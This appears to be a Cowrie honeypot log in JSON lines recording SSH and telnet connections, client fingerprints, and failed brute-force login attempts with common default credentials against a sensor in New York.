{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:07.587006Z","src_ip":"159.203.92.129","session":"8c6fb52756aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"123","message":"login attempt [a1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:08.396908Z","src_ip":"159.203.92.129","session":"8c6fb52756aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:09.474422Z","src_ip":"159.203.92.129","session":"8c6fb52756aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0036256313324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:15.217132Z","src_ip":"170.79.76.209","session":"27d78585dade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00215172767639,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:15.961435Z","src_ip":"170.79.76.209","session":"b8bef5dabbcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55834,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c305bf2b105","protocol":"telnet","message":"New connection: 170.79.76.209:55834 (10.17.0.5:23) [session: 4c305bf2b105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:16.330373Z"}
{"eventid":"cowrie.session.closed","duration":120.00174951553345,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:16.692010Z","src_ip":"170.79.76.209","session":"cf0c8847b187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162625312805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:16.707033Z","src_ip":"170.79.76.209","session":"1b1d7c5b5173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55794,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d584117b914","protocol":"telnet","message":"New connection: 170.79.76.209:55794 (10.17.0.5:23) [session: 8d584117b914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:17.072916Z"}
{"eventid":"cowrie.session.closed","duration":120.0050733089447,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:17.625316Z","src_ip":"170.79.76.209","session":"5bd2777c5601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55852,"dst_ip":"10.17.0.5","dst_port":23,"session":"65117ce6b0ae","protocol":"telnet","message":"New connection: 170.79.76.209:55852 (10.17.0.5:23) [session: 65117ce6b0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:17.998930Z"}
{"eventid":"cowrie.session.closed","duration":120.00306630134583,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:21.990196Z","src_ip":"170.79.76.209","session":"e153a5402038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":51992,"dst_ip":"159.203.135.109","dst_port":22,"session":"e596ca86156d","protocol":"ssh","message":"New connection: 173.249.6.197:51992 (159.203.135.109:22) [session: e596ca86156d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:26.325059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:26.336398Z","src_ip":"173.249.6.197","session":"e596ca86156d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:26.430590Z","src_ip":"173.249.6.197","session":"e596ca86156d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55616,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f30d33a0e9","protocol":"telnet","message":"New connection: 170.79.76.209:55616 (10.17.0.5:23) [session: 36f30d33a0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:26.443094Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123321123321","message":"login attempt [postgres/123321123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:26.831961Z","src_ip":"173.249.6.197","session":"e596ca86156d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:27.928127Z","src_ip":"173.249.6.197","session":"e596ca86156d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48910,"dst_ip":"159.203.135.109","dst_port":22,"session":"679cd494c4d7","protocol":"ssh","message":"New connection: 159.203.92.129:48910 (159.203.135.109:22) [session: 679cd494c4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:51.400609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:51.405894Z","src_ip":"159.203.92.129","session":"679cd494c4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:51.414814Z","src_ip":"159.203.92.129","session":"679cd494c4d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"123456","message":"login attempt [a1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:51.428436Z","src_ip":"159.203.92.129","session":"679cd494c4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:52.436655Z","src_ip":"159.203.92.129","session":"679cd494c4d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":54408,"dst_ip":"159.203.135.109","dst_port":22,"session":"089e41736819","protocol":"ssh","message":"New connection: 140.106.25.230:54408 (159.203.135.109:22) [session: 089e41736819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:54.270460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:54.275249Z","src_ip":"140.106.25.230","session":"089e41736819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:54.307303Z","src_ip":"140.106.25.230","session":"089e41736819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"homayoum","message":"login attempt [admin/homayoum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:54.480106Z","src_ip":"140.106.25.230","session":"089e41736819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:55.512414Z","src_ip":"140.106.25.230","session":"089e41736819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":40968,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac5d757e507","protocol":"ssh","message":"New connection: 196.189.51.7:40968 (10.17.0.5:22) [session: cac5d757e507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:55.863700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:55.868966Z","src_ip":"196.189.51.7","session":"cac5d757e507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:56.041646Z","src_ip":"196.189.51.7","session":"cac5d757e507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hadoop","message":"login attempt [root/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:56.746651Z","src_ip":"196.189.51.7","session":"cac5d757e507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:57.919141Z","src_ip":"196.189.51.7","session":"cac5d757e507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":36876,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b5b29601ec","protocol":"ssh","message":"New connection: 103.63.108.25:36876 (159.203.135.109:22) [session: 08b5b29601ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:11.060128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:11.066042Z","src_ip":"103.63.108.25","session":"08b5b29601ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:11.339146Z","src_ip":"103.63.108.25","session":"08b5b29601ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"abc","message":"login attempt [test1/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:12.441419Z","src_ip":"103.63.108.25","session":"08b5b29601ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:13.723000Z","src_ip":"103.63.108.25","session":"08b5b29601ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54696,"dst_ip":"159.203.135.109","dst_port":22,"session":"332f0a3017eb","protocol":"ssh","message":"New connection: 159.203.92.129:54696 (159.203.135.109:22) [session: 332f0a3017eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:33.669540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:33.674318Z","src_ip":"159.203.92.129","session":"332f0a3017eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:33.679007Z","src_ip":"159.203.92.129","session":"332f0a3017eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1","message":"login attempt [a1/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:33.689853Z","src_ip":"159.203.92.129","session":"332f0a3017eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:34.699004Z","src_ip":"159.203.92.129","session":"332f0a3017eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40182,"dst_ip":"159.203.135.109","dst_port":22,"session":"021982c3df90","protocol":"ssh","message":"New connection: 80.94.92.186:40182 (159.203.135.109:22) [session: 021982c3df90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:37.475847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:37.544336Z","src_ip":"80.94.92.186","session":"021982c3df90","protocol":"ssh"}
